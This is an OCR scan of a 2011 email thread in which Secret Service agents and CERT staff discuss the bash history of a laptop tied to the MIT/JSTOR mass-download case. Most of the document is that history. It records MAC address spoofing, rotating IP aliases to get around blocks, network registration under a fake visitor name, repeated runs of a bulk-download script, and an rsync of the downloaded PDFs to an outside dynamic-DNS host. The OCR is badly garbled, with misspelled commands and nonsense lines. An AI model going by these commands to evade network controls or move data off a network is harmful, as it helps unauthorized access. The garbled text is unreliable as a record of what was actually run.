Subject: Re: bash history of Acer involved with MIT hack and downloading from JSTOR

We can, but we haven't had the opportunity to look at much beyond the pythan seript and the bash history.
Let us know what Is a good time for you. We are free all day today.

From: [(b)(8).(B)(7XCY__ kBOS)" {(BYXB).0N7KC)  Msss.cdhs.pov>

Date: Wed, 9 Mar 2011 10:23:06 -0500

To{(b)(8) (b)7XC) bcert.org>

Subfect: RE: bash histary of Acer involved with MIT hack and downlpading from JSTOR

Do you mind if we have a conference call with the AUSA.

AUSA Heymann P Stephen

2811



Chief Appeliate and Computer Crime Section
ULYB) (VZWEY——_Jisdoj gpov
(E)(6),(bX7)(C) Work
Cell

I(b)(@).(b‘n?)(C) ]
U.S. Secret Service
Boston Field Office

Fromm-_(b)(ﬁ).(b ) mailtof(b)6Y. (bpcert.oral

Sen%: Wednesday, March 09, 2011 9:56 AM

Toy{b)6) (b)(7)C) B80S

cdmmmc:o);

Subject: Re: bash history of Acer Tnvolvexd with MIT hack and downloading from JSTOR

Do you have some time today that we ¢an go over the questions you have on the bash histary listed below and keepgrabbing
python script?

(£)(6).(b
Fromi(MBLONZWCT —— — — Pusss.dhs gov>

Date: Tue, 8 Mar 2011 17:24:0S -0S00

To:fib @8] (BWFUCY _Peert.org>
Subject: Fw: bash history of Acer involved with MIT hack and downloading from JSTOR

Special Agent

U S. Secret Service
(L)B).(b)(7HC) [Desk)
{Mobile)
412-268-5228 (Fax)

Frop(b)(6),(b)(7XC BOS)

TEX6).0)7)C) _ KID) ivmmrisert.ora{EBL BN Thert.org>

Sent: Tue Mar 7:21:53 2011

Subject: Fw: bash history of Acer involved with MIT hack and downipading from JSTOR

wouid anyone have time available ta help me decipher the bash history for proof of Mac spoofing and Interpret what the
script keepgrabbing.py doss?

EE.ETC ]

Sent from Blackbeny

From{(0)G).)X7NC) __ (BOS)
To: ‘Heymann, Stephen (USAMA)' [BIELENTICI —Jusdol gov>
b8BT )

ce:[l
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Sent: Wed Mar 02 17:31:13 2011

Subject: bash history of Acer Involved with MIT hack and downlaading from JSTOR

Yl

The bash history of the Acer that was connected to the MIT network has references to the python script keepgrabbing

and JSTOR:

cat .bash_history

rm .bash_history

screen -x

uptime

df-h

Is /mnt/pdfs/|wec

Is -f /mnt/pdfs/ | we -}
screen -x

cat .bash_history

Is

cat .ssh/known_hosts
whols ygl.as

uptime

curl www Jstor.org

links www.jstor.org/stable/838383
Is

mv 838383.pdf /mnt/pdfs/
screen -r

screen -x

curl Jstor.org

curl -l wwww.jstor.org
curl -l www Jstor.org
sudo ifconfig wian0 down
sudo dhctlient -re

sudo dhcilent -r

sudo ifconfig ethG up
sudo dhclient

curl -{ www jstor.omg

curl scripting.com
/shin/ifconfig -a

cutl scripting.com

ping 4.2.2.2

cat Jetc/resotv.conf

sudo dhclient -r

sudo dhclient

ping 4.2.2.2

cat fetc/resolv.conf

curl scriptng.com

curl www.google.com
curl -l www . [stor.org
/sbin/ifconfig -3

ping ghost-laptop.dyndns-free.com
ps ax | grep ip
/etc/init.d/ez-lpupdate
[etc/init.d/ez-ipupdate reload

[r L |



sudo fetc/init.dfez-lpupdate reload

ping ghost-laptop.dyndns-free.com

dig ghost-laptop.dyndns-free.com

dig @ns1.dyndns.org ghast-laptop.dyndns-free.com
sudo fetc/init.d/ez-ipupdate restant

dig @ns1.dyndns.org ghost-laptop.dyndns-free.com
ez-ipupdate —-help

ez-ipupdate --help|less

sudo ez-ipupdate

sudo ez-ipupdate -l eth0

more /etc/ez-ipupdate/default.conf

er-ipupdate --help|less

sudo ez-ipupdate -¢ /etc/ez-Ipupdate/default.conf
sudo ez-ipupdate -vwv - fetc/ez-ipupdate/default.conf
ez-ipupdate --help|less

sudo ez-ipupdate -vvv - /etc/ez-lpupdate/defautt.conf -1 ethO
sudo ez-lpupdate < /etc/ez-ipupdate/default.conf -i eth0
dig ®nsl.dyndns.org ghost-laptop.dyndns-free.com
15 /mnt/we -l

cd /mnt

is

ps ax | grep touch

ps ax | grep seq

touch 1

Is

touch 2

seq 120

seq 120 | xargs touch

Is | we-l

seq 1 2000000 | xargs touch

Is | we-l

Is | less

ts]we-l

ps ax | grep bash

w

who am i

kill 3658

kifl -9 3658

mkdir pdfs

¢d pdfs

~/keepgrabbing.py

emacs /home/ghost/keeparabbing.py

zile fhome/ghost/keepgrabbing.py
~/xeepgrabbing.py

touch foo

rm foo

cd ..

~/keepgrabbing.py

cd /mnt

Is

tm*

Is

RIFl
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cd pdfs

Is

ed

Is

python serveblocks.py
pythan serveblocks.py 8092
bg

fg

ps ax | grep serve

kil 2461

ps ax | grep serve
python serveblocks.py 8092
bg

Is /mnt

Is /mnt/pdfs

Is 4 /mnt/pdfs/

cd
gnome-screensaver-command --activate
Is

ps ax | grep curl

kilt 19047

curl www.jstor.org
dhcilent --help

sudo dhelient
bwm-ng

Is blocks/ fwe -}

df -h

links www.jstor.org/stable/873098
bwm-ng
gnome-screensavercommand --activate
Is blocks/ wc -l
hwm-ng

Is blocks/ | we -
uptime

bwm-ng

df-h

is blocks | we -l
bwm-ng

sudo umount /mnt

df

screen -x
~/keepgrabblng.py

cd /mnt/
~/keepgrabbing.py

fg .

¢d /mny/
~/keepgrabbing.py

cd /mnt/
~/keepgrabbing.py

0

cd /mnt/
~/keepgrabbing.py
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T o

) 'py
/! keepgr ahhing
bg; ~

i /mgzabbing.py
~fkee
bg

N ing.py
bg; ~/keepgrabbing
8

Cdk/e':;z'abbing. py
Bj! keepgrabhing.py
E)Zteepgrabbins.p:
E?keepgrabbing.p
E?keepgrabhfng.py
2? keepgrabbing.py
bgl(eepgr:-)bbing.py
gékeemgrablaing.py
S?z:epgrahblng.py
gf"keepsrabblng,py
f’jl{en;;;rabbing.py
E;keepgrabblng.py
E?:(k:epgrabbim.py
Eékeepgrabblng.py
E?kaepgrabbing.py
Eﬁkeepgrabblng. pY
Eskeepgrabbi ng.py
2;keepgrabblng.pw
E?keepgrabbing.py
E?keepgrabblng.py
hy /e,::;/rabbing.py
:sk/mm/rabblng.py
i
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e x5l

~/keepgrabbing.py
ed /mnt/
~fkeepgrabbing.py
cd /mnt/
~/keepgrabblng.py
cd /mnt/
~/keepgrabhing.py
cd /mnt/
~(keepgrabbing.py
~fkeepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
¢d /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mot/
~/keepgrabbing.py
cd /mnt/
~/kaepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~fkeepgrabbing.py
cd Jmnt/
~/keepgrabbing.py
od /mnt/
~fkeepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd font/

~/k
~/keepgrabbing.py
cd /mnt
~[keepgrabbing.py
cd /mnt
~[keepgrabbing.py
cd fmatf
~/heepgrabbing.py
~/keapgrabbing.py
cd /mt

«d fmnt/

cd /mt
~/keepgrabbing.py
*/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
~fkeepgrabbing.py
cd /mnt/
~/keepgrabbing py
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~/keepgrabbing.py

cd /mnt/

~fkeepgrabhing.py
~fkeepgrabbing.py

cd /mnt/

~fkeepgrabbing.py
~{keepgrabbing.py

od /mnt/

~/keepgrabbing.py
~/keepgrabbing.py

cd /mat/

~/keepgrabbing.py
~/keepgrabbing.py

cd /mnt/

~fkeepgrabbing.py

cd /mnt

~/keepgrabbing.py

screen -r

screen -x

uptime

df-h

screen -1

screen X

e

uptime

bwm-ng

df -h

screen -x

ps ax | grep curl

ps ax | grep keepgr | awk ‘{print 51} | xargs kil
ps ax | grep cur

ps ax | grep gr

ps ax | grep curl

df -h

/sbinfifconfig -a

sudo ifeanfig eth0:1 static 18.55.7.49
curl —interface eth0:1 www.jstor.org
curl -interface eth0:1 www.google.org
rsync -avz pdfs/ ghost-macbook.dyndns-free.com:/val/pdfs
screen -r

SCreen -x

python

sudo easy_lnstall pyoal

sudo apt-get install python-Ixmit
sudo aasy_install pyoal

python

sudo easy_install --remove pyoal
easy_Install -help

easy_install --help|less

sudo easy_install ~remove pyoal
python

sudo easy_install pyoal

[R1F ]
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¢d /usr/local/lib/python2.6/
Is

Is site-packages/
od

Is

locate easy-install.pth

locate easy_install.pth

sudo easy_Install pyoal

locate easy-Install.pth

cd Juseflib/python

Is

Is -a

cd ../pythan2.6

is

easy_install --help

easy_install --help|less

python serveblocks.py

python secveblocks.py 8092

bg

sudo dhelient -r

sudo dhclient

sudo dhclient -

sudo dhclient

sudo dhciient -r

sudo dhclient

ping 4.2.2.2

sudo dhclient «¢

sudo dhclient

sudo dhclient «r

sudo dhclient

sudo dhclient -¢

sieep 60

sudo dhelient -r

sudo dhclient

cd /valf

is -}

Is -th pdfs

easy_Install pyosi

sudo apt-get install python-setuptools
sudo apt-get updata

sudo apt-get instail python-setuptools
sudo apt-get upgrade

ez-lpupdate

sudo fetc/init.d/ez-lpupdate restart
ping ghost-laptop.dyndns-free.com
/sbin/ifcontig ethG

ping 18.55.7.237

ping ghost-laptop.dyndns-free.com
sudo Jetefinit d/ez-ipupdate restart
ping 18.55.7.237

ping ghost-laptop.dyndns-free com
sudo /etc/init.d/ez-ipupdate help
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sudo /etc/init.d/ez-ipupdate force-reload
ping ghost-laptop.dyndns-free.com
more /etc/init.d/ez-lpupdate

more fetc/ez-lpupdate/defauit.conf
sudo less fetc/ez-pupdate/dafault.conf
ps ax | grep ez-ip

pling ghost-laptop.dyndns-free.com
cd /vol/pdfs/

is

Is { less

python oaigrab py

python -i calgrab.py

cd /vol/

Is

cd muse.jhu.eduf

is

cd content/oai/journals/

Is

cd soclal_text/

Is

cd v017/

is

more 17.3

more 17.3dutton.htmi

man wget

du -hsc fvolf*

du -hsc /vol/*

bwmeng

is -ih urlstograb.wget

grep pdf uristograb.wget

scraen -x

man wget

cd fvolf

Is

weget -x -nc ~furlstograb.wget

wget -x -nc 4 ~/urlstograb.wget
sudo chown ghost .

wget X -n¢ -l ~/urlstograb.wget
wget -q X -n¢ -1 ~/uristograb.wget
wget -nv -x -n¢ -l “furistograb.wget
screen -x

emacs oaigrab.py

sudo apt-get install emacs23-nox
emacs oaigrab.py

python oaigrab.py | tee uristagrab.wget
wc -| uristograb.wget

grep htmt uristograb.wget | sed -e 's/htmi/pdf/' > urlstograb2.wget
grap pdf urlstograb.wget | sed -e 's/pdf/html/ > uristograb2.wget

more uristograb

more urlstograb2,wget

cd /volf

wget -nv -X -n¢ -i ~furlstograb2.wget
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grep htmi uristograb.wget | sed -e 's/htmi/pdf/* >> uristograb2.wget
cd

grep htmi uristograb.wget | sed -e 's/htmi/pdf/" >> urlstograbZ.wget
¢d fvol

wget -nv -x -nc -i ~furlstograb2. wget

curl muse.jhu.edu/f

links muse.jhu.edu

screen =x

¢d /media/noname/

Is

cp tograb.log /home/ghast/

ced

cd

¢d bfocks/

Is | we

cd .,

Is

mv tograb.log bocks/

cd blocks/

more tograb.log

split -n 100 tograb.log

split --help

split --heip|less

split -1 100 tograb.log tograb.

Is

rm tograb.*

¢p /media/noname/tograb.log tograb-

split —-help|less

split-a § -1 100 tograb.log tograb-

is tograb *

wc i

Is | we-l

mv tograb.log ..

sudo dhclient --release

sudo dhclient -r

sudo dhclient

sudo dhclient -1

sudo dhclient

suda fetc/init.d/ez-lpupdate restart

ping ghost-laptop.dyndns-free.com

Jsbinfifconfig -a | less

ping ghost-laptop.dyndns-free.com

SCreen -x

sudo ifconfig eth0 up ;
curl --Interface ethQ s://nic.mit.edu; bin/dyn 1ass=v
/sbin/ifconfig -a

sudo dhclient

curl --interface ethD https://nic. mit.edu:444/bin Pelass=visitor
cat logininfo

curl ~-interface ethQ s://10.72.0.47:444/bin a ass=visitor
curl --interface eth0 10.72.0.47

ping ~-hel
1
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ping -1 eth0 10.72.0.47
/sbin/itconfig -2
ping -l eth0 4.2.2.2
man ping
ping 4 10.2.55.120 4.2,.2.2
sudo ping -110.2.55.1204.2.2.2
/sbin/ifcontig -a | less
sudo ping -1 10.2.55.1204.2.2.2
sudo ping -l wianD 4.2.2,2
sudo ping -l eth0 4.2.2.2
ping -1 eth0 4.2.2.2
sudo ping -i ethQ 4,
sudo ping - eth0 10.72.0.47
sudo curl —~interface eth0 10.72.0.47
man curl
sudo curt ~Interface 10.2.55.120 10.72.0.47
route
/sbinfifcanfig -a
route add default gw 18.2.55.1
sudo route add default gw 18.2.55.1
sudo ping - eth0 10.72.0.47
echo "suda route add default gw 18.2.55.1" >> logininfa
sudo curl —interface 10.2.55.120 10.72.0.47
cur! —interface ethd 10.72.0.47
curl ~interface ethO https://10.72.0.47:444/bin/dynarericlass=visitor
curl -k --interface ethQ :{/10.72.0.47:444/hin/dynareg?class=visitor
curl -d "class=visitor" -k —interface ethO hitps://10.72 0.47:444/bin/dynareg
curl -d "class=visitor&action=Register” -k interface eth0 hips://10.72.0.47:444/bin/dynares
cur -d "vname=Grace+Host&vemail=ghostd2 @mailinator.com&action=Register&class=visitar” -k ~interface eth0
https;//10. : in/dynace,
echo ‘cur! -d "vname=Grace+Host& il= jlinator.com&action=Register&class=yisitor” -k --interface eth0
https://10.72.0.47:444/bin/dynareg’ >> logininfo
curl --interface ethD 10.72.0.47
sudo dhciient eth
steep 600; sudo dhclient eth0
route
curl —~interface wian0 www.yahoo.com
curl ~interface wian0 4.2.2.2
sleep 600; sudo dhclient eth0
sudo dhclient ethQ
sudo ping -l ethD 10.72.0.47
sudo ping -l wian0 4.2.2.2
sudo ping -1 eth04.2,.2.2
man route
dnsip
dig www.yahoo.com
dig www.yahoo.com|grep "IN"
dig www yahoo.com|grep "IN" | grep 10.72
echo 'dig www.yahoo.com|grep "IN" | grep 10.72' > logininfc
/sbin/ifconfig -a
/sbin/ifconfig -algrep en
sudo ifconfig ethQ hw 00:4c:e5:a0:c7:56 I RIE l
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sudo Ifconfig ethQ hw ether 00:4c:e5:20:¢7:56
sudo fdown eth0

sudo ifconfig eth0 hw ether 00:4c:e5:20:¢7:56
sudo ifconfig eth0 down

sudo Ifconflg ethO hw ether 00:4¢:e5:a0:c7:56
sudo ifconfig etho up

emacs logininfo

ping www.yahoo.com

dig yahoo.com

“sudo dheltant

dig www.yahoo.com

emacs logininfo

emacs fetc¢/ez-ipupdate/defauit.conf
/sbin/ifconflg -a

sudo emacs /etc/er-ipupdate/default.conf
fetc/init.d/ez-ipupdate restart

sudo /etcfinit.d/ez-ipupdate restart
dig

dig x.dyndns-free.com

dig ns x.dyndns-free.com

cat fetc/resotv.c

cat Jetc/resolv.conf

dig www.yahoo.cvom

dig www.yahoo.com

links —help

links --help |grep inerf

links ~-help |grep interf

lyax

curl ~intarface eth) www.yahoo.com
dig @10.2.55.7 www.yahoo.com

dig @10.2,55.2 www.yahoo.com
sudo dhclient

cat fet¢/resolv.conf

sudo dhclient

cat fetc/resolv.conf

ping 10.72.0.47

dig @10.72.0.47 www.google.com
gnome-screensaver-

df

ping www.yahoo.com

echo 10.72.0.47>> logininfo

dig --help

host --help

dig ns x.dyndns-free.com

dig @ns1.dyndns.org ghost-taptop.dyndns-free.org
dig @ns1.dyndns.org ghost-laptop.dyndns-free.com
/sbin/ifconfig -a

ssh ghost-laptop.dyndns-free.org
ssh ghost-faptop.dyndns-free.com
ssh --help | grep Interf

man ssh

sudo {fconfig eth0 down

IRIFI
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ssh ghost-laptop.dyndns-free.com

sudo curl —interface eth0 10.72.0.47

route

ssh ghost-taptop.dyndns-free.com

ping www.yahoo.com

/sbin/ifconfig-a

ssh 10.189.76.179

sudo dhclient eht®

sudo dhclient ethD

route

man route

route

sudo dhclient eth0

sudo route del default

sudo route -net 10.0.0,0 gw 10.189.64.1

sudo route add -net 10.0.0.0 gw 10.189.64.1

sudo route add 10.0.0.0 gw 10.185.64.1

route

ping 10.189.76.179

ping 10.72.0.47

sudo dhclient eth0

/sbin/ifconfig -a

ping google.com

route

ping 4.2.2.2

sudo dhclient etho

cat logininfo

curt-d "vname=Grace+Host&vemall=ghost42@maitinator.com&vsponsor=&yinterval=314"
curt -d "vname=Grace+Host&vemail=ghost42@mailinator.com&vsponsor=8wvinterval=14" -k --interface eth0
hitps://10.72.0.47:444/bin/dynareg

echo 'curl -d "viname=Grace+Host&vemail=ghostd 2 @mailinator.com&vsponsor=&vinterval=14" -k —-interface eth0
hitps://10.72.0.47:444/bin/dynareg’ >> loglninfo

curl www.yahoo.com

echo ‘curl -d "vname=Grace+Host&yemail=ghost42 @mailinator.com&vsponsor=&vinterval=14" -k —interface eth0
https://10.72.0.47:444/bin/dynareg’ >> togininfo

curl -d "vname=Grace+Host&vemail=ghost42@mallinator com&ysponsor=&vinterval=14" -k --interface ethQ
https://10.72.0.47; in/dynare

curt -d "vname=Grace+Host&vemail=ghost42 @mailinatar.com&vsponsor=&yinterval=5" -k ~interface ethQ
https://10.72.0,47:444/bin/dynareg

sudo dhclient ethQ

sudo dhclient -r

sudo dhctient -r eth0

sudo dhclient ethQ

/sbin/ifeonfig -a > ifconfiglog

/sbin/ifconfig -a

sudo ifconfig wlan down

suda ifconfig wlan0 hw ether 90:4c:e5:30:¢7:55

sudo Ifconfig wian0 up

/sbin/ifconfig -a

fetc/init.d/ez-ipupdate restart

sudo fetc/init.d/ez-ipupdate restart

dig ghost-laptop dyndns-free.com
[R1F
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ping 4.2.2.2

sudo dhclient

ping 4.2.2.2

plng www.yahoo.com

route

curt www.yahoo.com

ssh ghost-laptop.dyndns-free.com
Jsbin/ifconfig -a

ssh 18.111.48.33

cur] www.yahoo.com

sudo dhclient ethQ

cd /media/bceB20ea-a03b-4556-bfa6-eff2d9eh665¢e/
Is

Is | grep ajp

is | grep -v oxford

cd Jval

Is

cd www.genome.org/content/1/3/

is

cd /media/bce820ea-a03h-4556-bfas-eff2d9eb665e/

mare pdfs/2520824.pdf

more pdfs/25208234.pdf

Is -1 pdfs/25208234.pdf

Is -Ul pdfs | head

python

ps ax | grep pyth

psax | grepls

sudo kil 8185

sudo kill -9 8185

fg

cd bl

cd blocks/

Is

¢d done/

Is | less

{s | head

more allpd00000009

more alipd000000009

more aflpdG000000009

Is -| /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/pdfs/20273145.pdf
Is | tait

more tograb-aaggu

mnare /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/pdfs/359815.pdf
1s 4| /media/liceB20ea-203b-4556-bfab-eff2d9eb665e/pdfs/359815.pdf
Is | less

is } grep -v pd § less

Is | grep blk | tall

more bik0000003629

more /media/hce820ea-a03h-4556-bfab-eff2d9eb66Se/399479
more /media/bceB20ea-a03b-4556-bfaG-eff2d9eb665e/399479,pdf

more fmedia/bce820ea-a03b-4556-bfa6-cff2dSeb665e/3999479. pdf l R
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more /media/bce820e3-303b-4556-bfab-eff2d9eb665e/pdfs/3999479.pdf
more /media/bce820ea-a03b-4556-bfab-eff2d9eb665e/pdfs/3999478 pdf
¢d

python

in -s /media/bce820ea-303b-4556-bfa6-eff2d9eb66Se/ /media/drive
sudo In -s /media/bce820e3-a03b-4556-hfa6-eff2d3eb665e/ /media/dfive
fg

Is /media/drive/pdfs®

c

w

/sbinfifconfig -a

ssh 10.189.61.53

/sbin/ifconfig -a

sudo Jetc/init.d/ez-ipupdate restart

ssh 18.111.48.33

Is

more failedandneedtograb

cat falledandneecitograb | sed -e 's/.pd€//' | sort-u | head
cat falledandneedtograb | sed -e 's/.pdf//" | sort -u > falled-partial-clean
head failed-partial-clean > blocks/testfailed

/shin/ifconfig -a

curl --Interface wlan0 www.yahoo.com

route

ping 18.111.31.1

wc -t faltedandneedtograb

sudo apt-get install autossh

sudo apt-get update

man ssh

ps ax | grep dhclient

kill 7937

sudo kit 7937

sudo kill 8001

sudo kill 8281

ps ax | grep dhclient

ps ax | grep netwa

ps ax | grep Netw

sudo kil 730

ps ax | grep Netw

ps axf

/etc/init.d/network-manager stop

suda /etc/init.d/network-manager stop

ps ax

ps ax | grep dhct

sudo kill 8839

ps ax

/sbin/ifconfig -a

sudo emacs /ete/ez-ipupdate/dafault.conf

sudo fetc/init.d/ez-lpupdate restart

dig ghost-laptop.dyndns-free.com

Is

screen -x

W
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who am i

wc -l faited-clean
screen -x

|

Is

cat falledandneedtograb | sed -e 's/.pdf//’ | sort -u > falled-partial-clean

wc - failedandneedtograb

cat failedandneedtograb | sed -e 's/.pdf//’ | sort -u > failed-clean

rm faited-partial-clean
mora failed-clean

¢d blocks/done

Is | lass

less blkQ000000020
we -1 bik000G000020
cd .

split --help

split-a 5 -} 1000 failed-clean blocks/bikfail
df-h

creen -x

scréen -X

who am |

cd umi

python

¢d umt

grep 797854 *

grep 801899 *

Is

more 900.htm}

grep 1978790241 *
screen -r

screen -x

links

is

screen -

is blocks

Is

e falledandneedtograb
rm failed-clean
python

Is

mv pdf2size.dbm pdf2size-js3.dbm
fg

more stifitograbx

split --help

split -a 5 - 100 stititogralsx blocks/stilibik
Is blocks

fg

cd fmedia/drive/pdfs
more 3590725.pdf
less 3697690.pdf

cd /media/drive/pdfs
more 3590725.pdf
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Fpn s /ak

s aie &

less 3697690.pdf
links “hitp:/www.0eim.org.ezp-
pr/doiffull/10.1056/NEIMp0781902kevtyne2=tf insecsha&iikev=d016a4had5489a1d98c8c00031b0f51b7fe229d48

finks "htto://www.neim.org. ezp-pr/doi/full/10.1056/NEIMpO78190"
!mks “htt://www.neim.org/dol/full/10.1056/NEIMpO78190*

ls umi/saneurl.py

links http: [[ljnkmghph elsevier. com[resr]eve[gl|[09333557§990011g
xﬂ

tinks " inkinghub.el
more /vol/uml/ 10768S.htmi
tinks /vol/umi/107685.htmi}
links /vol/umif107794.htmi
curl -1 http://linkinghub.elsevier.com/retrieve/pil/B9780750657457500224
curl -
“hitp:/Mlinkinghub.elsevier com/retriev icleSelectSingle?Rediract=h 3A%2F%2Fwww.sclencedire V%62 Fscien
ce%3F oh%3DGatewayURL¥26 origin%3Dinwardhub%26_urlversion et 30citationSear 6 piike
3DB9780750657457500224%26_version¥%3D1%26mdS5%305d0b15fec31pecc36684151f1294390a"
curl +f
: method=citatlonSearg
h& giukey-BQZgg 506574 7§0022_«3& vgrsi n=1 m;!ﬁ-SgOblSledleccggGﬁM; f19449903"
curt - " igncedirect.com/science? oh=ArticleURL& udi=B88K8S-4RIMOTB-

8& yser=§01045§ g_qvg@ate:ln&gr@% F20 rdoc=18& [mt=high& orlg=search& origin=search& sort=d& doca
nchor=&view=c& acct=C000022659& version=1& uriverslon=0& userid=501045&mdS=0dd 4c404198de532
ping www.jstor.org

curl www.jstor.org

Is

screen -x

df -h

screen -t

screen -x

cd /media/drwe/jslndex/

Is

rm*

Is

s

ls

cd 1923

Is

more 00800.htmi

python

cd.,

is

python

more 1923/06700.htwf

fg

is blocks

df -h

sude umount /media/bce820ea-a03b-4556-bfas-eff2dfeb665e/
ping 4.2.2.2

/sbin/ifconfig -a

/sbin/ifconfig -a|less
[R1F ]




Is

~/bin/sls pdfs | head

Jsls pdfs | head

cd pdfs

/sls | xargs - mv {} fvol/pdls/
{sis . | xargs -1 mv (} /vol/pdfs/
Is

cd..

rmdir pdfs

more deleteandgrab

Is

Is -1

more pdfs3.sis

tall pdfs3sis

(s

more Js3.1sIR

fess Js3.1sIR

Is -#h js3.15IR

fg

Is

I5 -1h pdf2size-js4.dbm

we - Js3isIR

python

split -a 5 4 100 30mblocks blocks/grp30m
cd fvol/jsindex/

python

cd /media/dr

cd /media/drive/
~/keepgrabbing.py

g

more /media/drive/4478605.pdf
more /media/drive/pdfs/4478605.pdf
curl protect.theinfo.org

links protect.thelnfo.org

df

ps ax | grep part

ps ax

¢d /media/

Is

mkdir drive2

sudo mkdir drive2

sudo mount /dev/sdf drive2
sudo mount -¢ reiserfs /dev/sdf drive2
sudo mount -t reiserfs /dev/sdf1 drive2
df

df -h

cd drive2

Is

Is -3

mkdir pdfs

sudo mkdir pdfs

suda chown ghost pdfs

[r | F |



cd fvol

Is -

cd .

Is -

tin vol

sudo rm vol

sudo In -s /media/drive2 vol
screen T

screen X

ping www.google.com
/sbinfifconfig -a
/shin/ifcanfig -a|less
dhclleat

sudo dhclient

sudo ifdown eth0:1

ping www .google.com
/sbin/ifconfig -a
/sbin/config -a]less

ping 4.2.2.2

cat Jetc/resolv

cat Jetc/resolv.conf

ping 10.72.0.47\

ping 10.72.0.47
ping4.2.2.2

sudo ifconfig down eth(:1
sudo fconfig eth0:1 down
/sbinfifconfig -a |less
sleep 600 && bell

bg

dhclient

sudo dhclient

df -h

sudo umount /dev/sdf1
fg

df

ps ax [ grep dhclie

sudo kil 31696
/sbin/ifconfig -a | less
screen -X
gnome-screensaver
gnome-screensaver-command --lock
gnome-lock-screen
gnome-screensaver-lock
xscreensaver - lock
gnome-screensaver-cammant —-lock
ghome-screensaver
screen <X

df

cd /media/

Is

mount /dev/sdgl 3aab9fel1-9¢54-43b1-9374-72722d78d3e0/
suda mount /dev/sdgt 3aab9fe1-9¢54-43b1-9374-72722d78d3e0/
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df

sudo mount /dev/sdh1 3aabSfe1-9c54-4301-9374-72722d78d3e0/
Is

/sbinfifconfig -a

sudo ifconfig mac 91:4c:e5:a0:¢7:S5

Is

/sbinfifconfig -a > mac

sudo (fconfig mac 91:4¢:e5:a0:c7:55

fg

sudo ifconfig eth® mac 91:4¢:e5:30:c7:55
man ifconflg

sudo ifconflg ethO hw ether 91:4c:e5:30:¢7:55
/shinfifconfig -a |grep ether

[sbin/ifcontig etho

sudo ifconfig eth0 hw ether 00:4c¢:e5:a0:¢7:55
sudo ifdown eth0 '

sudo i{conflg ethO hw ether 00:4c:e5:a0:¢7:55
sudo fconfig ethO down

sudo ifconfig ethD hw ether 00:4¢:e5:a0:c7:5%
sudo ifconfig ethO up

dhclient

sudo dh

sudo dhellent

sudo dhclient -r

cd font/

Is

df

cd /media/bce820ea-a03h-4556-bfas-eff2d9eb665e/
Is

Is-1/

In -s /media/bce820ea-a03b-4556-bfas-eff2d9eb665e/ fvol
SUDO In -s /media/bce820ea-a03b-4556-bfaé-eff2d9eh665e/ /vol
sudo In -s /medla/bce820e3-a03b-4556-bfaé-eff2d9eb665e/ /vol
cd Jvot

Is

df

ifconfig

sudo dhcilent -r

suda dhclient

Is

¢d

Is

screen -r

Is btocks/|we 4

screen

SCreen -r

screen -x

wc - urlstograb.wget

df -h | media

df -h | grep media

we -] uristograb.wget

df -h | grep media

IRIFI



grep -v oxford uristograb.wget |less
grep -v oxford urlstograb.wget |grep -v dukejo |grep -v genesdev | grep -v err |less
grep -v oxford uristograb.wget |grep -v dukejo |grep v genesdey | grep -v err | grep v cship | grep v tmajou [less
grep -v oxford uristograb.wget |grep -v dukejo |grep -v genasdev | grep-v err | grep -v cship | grep -v rnajou |grep -v
genome| less

grep « oxford uristograb.wget |grep v dukejo [grep -v genesdev | grep -v err | grep -v cship | grep -v rnajou jgrep -v
genome|grep -v leammem|less
we - urls®

df -h | grep media

Is blocks/|we 4

df-h | grep media

is blocks/ jwe -

df -h | grap medla

Is blocks/)we 4

df -h | grep media

LS

df

w

df -h | grep media

Is blocksf jwe -1

df -h | grep medis

ks blocks/|we -

Is blocks/jwe 4

df - | grep medla

Is blocks/ jwc i

df -h | grep media

is blocks/ wc -

df -h | grep media

is blocks/{we 4

Is /mnt

Is fvol

df-h | grep media

Is blocks/|we +4

df -h | grep media

Is blocks/ | we -

df -h | grep medis

Is blocks/jwe 4

df -h

Is blocks/ {we -

df-h | grep media

Is blocks/ |we -}

df -h

df -h | grep media

Is blocks/ lwe -4

df -h | grep media

ls blocks/ jwc -

df -h | grep media

ts hlocks/jwe 4

df-h | grep media

s blocks/{wc -1

df -h | grep media

ts blocks/[we - ) F:{ = 1
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df -h | grep media

Is blocks/ |we -i

df -h | grep media

Is blocks/|wt -}

df -h | grep media

ping google.com

/sbin/iiconfig -a

/sbinfifconfig -a|less

df

umount /medis/drive

cd /mediafdrive/

Is

df -h

Is

sudo umount /fdev/sdel

sudo umount -f /dev/sdel

df

[sbln/ifconfig -afless

df -h | grep drive2

Is blocks/|we -|

cd

Is blocks/ |we -|

df -h | grep drive2

{sbin/ifconfig -a

ifconfig eth0:1 static 18.55.7.241
sydo ifconfig eth0:1 static 18.55.7.241
/sbin/ifconfig -a

curl ~interface eth0:1 www.jstor.org
curt -interface eth0 www.jstor.org
suda ifconfig eth:1 statlc 18.55.6.241
curl —-interface eth0 www.jstor.org
curl ~interface eth0:1 www jstor.org
sudo ifcanfig eth0:1 static 18.55.5.241
curl --interface eth0:1 www Jstor.org
sudo ifconfig eth0:1 static 18.55.4.241
curl --intarface ethO:1 www . Jstor.ofg
/sbinfifconfig -a

suclo ifconfig eth0:1 static 18.54,4.241
curl ~interface eth0:1 www.jstor.org
sudo ifconfig eth0:1 static 18.54.5.241
sudo ifconfig eth0:1 static 18.55.5.241
sudo ifconfig eth0:1 up static 18,55.5.241
Is blocks/[wc -

ping 4.2.2.2

¢d vol

cd /vol

~{keepgrabhing.py

fg

cd ..

Is vol

Is -f vol

rm vol

[R1F ]

20353




sudao rm vol

sudo In -s /media/drive /vol
cd /vol
~/keepgrabbing.py

a

~/keepgrabbing.py

<d ..

¢d vol

~/keepgrabbing.py

cd

Is

mkdir tomove

cd tomove

mkdir pdfs
~/keepgrabbing.py

emacs ../keepgrabbing.py
~/keepgrabbing.py

sudo rm /vol

sudo In -5 /media/3aab9fel1-9¢54-43h1-9374-72722d78d3e0/ /vol

cd fvol

~/keepgrabbing.py

fg

Is

cd ../vol

~/keepgrabbing.py

finks www.|stor.org

dhclient

/sbinfifconfig -a

ifconfig up eth0:1 18,55.6.251

ifconfig —~help | less[a

ifconfig --help

Ifconfig eth0:1 up static 18.55.6.251
sudo ifconfig eth0:1 up static 18.55.6.251
sudo ifconfig eth0:1 up static 18.55.6.252
